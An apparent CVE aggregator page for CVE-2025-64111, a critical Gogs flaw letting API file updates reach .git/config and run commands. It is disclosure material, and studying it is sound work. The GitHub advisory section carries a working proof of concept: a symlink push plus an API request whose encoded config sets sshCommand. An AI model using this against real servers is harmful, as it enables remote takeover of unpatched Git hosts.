CVE-2025-64111
JSON

9.3critical

Gogs's update .git/config file allows remote command execution

Severity
9.3critical CVSS:4.0 by GitHub_M
Exploit likelihood
1.39% (higher than 73% of CVEs)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-gg64-xxr9-qhjpGO-2026-4448

Description

Gogs is an open source self-hosted Git service. In version 0.13.3 and prior, due to the insufficient patch for CVE-2024-56731, it's still possible to update files in the .git directory and achieve remote command execution. This issue has been patched in versions 0.13.4 and 0.14.0+dev.

Affected

Product or packageVersionsReported by
gogs gogs< 0.14.0+dev, < 0.13.4, before 0.13.4CVE List, NVD
gogs.io/gogs (Go)before 0.13.4, all versionsGitHub Advisory Database, Go Vulnerability Database

All scores

GitHub_M9.3critical CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
GitHubcritical CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
NVD9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-78

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.

What each source says

CVE List

Gogs is an open source self-hosted Git service. In version 0.13.3 and prior, due to the insufficient patch for CVE-2024-56731, it's still possible to update files in the .git directory and achieve remote command execution. This issue has been patched in versions 0.13.4 and 0.14.0+dev.

GitHub Advisory Database
Summary

Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the .git directory and achieve remote command execution.

Details

Function UpdateRepoFile security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update .git/config file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206

PoC
# add a symlink file and push to repo.
ln -s .git/config link
git add link
git commit -m 'add' && git push

Update file via API router

PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1
Content-Type: application/json
Host: localhost:3000
Authorization: token {token}

{"message":"message","committer":{"name":"test","email":"a@b.com"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"}
Impact

RCE

Go Vulnerability Database

Gogs's update .git/config file allows remote command execution in gogs.io/gogs.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: gogs.io/gogs before v0.13.4.

NVD (es)

Gogs es un servicio Git autoalojado de código abierto. En la versión 0.13.3 y anteriores, debido al parche insuficiente para CVE-2024-56731, todavía es posible actualizar archivos en el directorio .git y lograr la ejecución remota de comandos. Este problema ha sido parcheado en las versiones 0.13.4 y 0.14.0+dev.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-64111 changed 2026-02-26CVE Terms of Use
GitHub Advisory DatabaseGHSA-gg64-xxr9-qhjp changed 2026-02-19CC-BY-4.0
Go Vulnerability DatabaseGO-2026-4448 changed 2026-02-19CC-BY-4.0
NVDCVE-2025-64111 changed 2026-06-17Public domain